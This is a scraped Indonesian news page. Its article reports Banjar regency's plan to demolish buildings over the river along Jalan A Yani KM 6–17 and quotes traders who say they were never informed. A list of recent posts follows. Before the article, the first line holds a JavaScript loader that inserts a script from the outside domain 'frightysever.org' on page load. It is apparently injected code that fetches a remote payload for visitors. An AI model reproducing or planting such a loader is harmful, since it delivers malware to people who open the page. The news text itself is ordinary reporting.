(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Soal Pembongkaran Bangunan di Sepanjang A Yani KM 6-KM 17, Warga Belum Tahu


KANALKALIMANTAN.COM, MARTAPURA – Setelah pembongkaran bangunan di atas sungai A Yani di wilayah Kota Banjarmasin. Pemerintah Kabupaten (Pemkab) Banjar juga turut melakukan upaya serupa dengan melakukan pembongkaran sepanjang jalan A Yani KM 6 hingga KM 17.

Rencana itu disampaikan melalui surat edaran Pemkab Banjar per tanggal 9 Maret 2021 yang ditujukan kepada pengguna badan bangunan di atas sungai.

Kanalkalimantan.com mencoba menanyakan sikap warga terutama pedagang pengguna bangunan di atas sungai terhadap edaran tersebut, Rabu (17/3/2021) siang.

Seorang pedagang kelontong di Jalan A Yani Km 7,4 yang tidak ingin disebutkan namanya mengaku tidak menahu atas surat edaran tersebut. “Saya kira pembongkaran tersebut hanya dilakukan di Banjarmasin saja,” katanya.

 

Shania, pedagang gorengan di jalan A Yani Km 13. Foto: pras

Baca juga: Wanita Tewas di Save Hotel. Check In 3 Hari Lalu, Polisi Masih Cari Teman Prianya

Pedagang tersebut mengaku tidak pernah mendapatkan imbauan sama sekali dari pihak pemerintah. “Biasanya pak RT atau Lurah pasti memberi tahu kepada kami, apalagi ini rumah pribadi dan kami sudah kenal dengan beberapa orang kelurahan,” ungkapnya.

Kanalkalimantan.com juga sempat menemui warga bernama Shania (36), pedagang gorengan di KM 13, yang juga mengaku tidak tahu perihal tentang pembongkaran tersebut.

“Biasanya kami diberitahu oleh pedagang di sebelah, nah sekarang tidak ada satupun yang memberi tahu. Dulu suami pernah memberitahu adanya pembongkaran di Banjarmasin, tapi kami tidak pernah menyangka pembongkarannya sampai ke sini,” ungkap Shania sembari menawarkan gorengan.

Wanita berjilbab ini mengaku siap jika sewaktu-waktu bangunan memang harus dibongkar. “Ini kan ada tiga pedagang gorengan lain. Mereka biasanya pada heboh kalau ada pemberitaan ini, nanti coba saya sampaikan,” katanya.

Walaupun kedua pedagang tersebut tidak mengetahui adanya imbauan untuk membongkar, Pemkab Banjar memberi tenggang waktu kepada para pedagang pengguna bangunan di atas sungai untuk melakukan pembongkaran hingga 26 Maret 2021 mendatang. (kanalkalimantan.com/pras)

Reporter: pras
Editor: bie


Al Ghifari

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

8 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

9 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

9 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

16 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

17 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.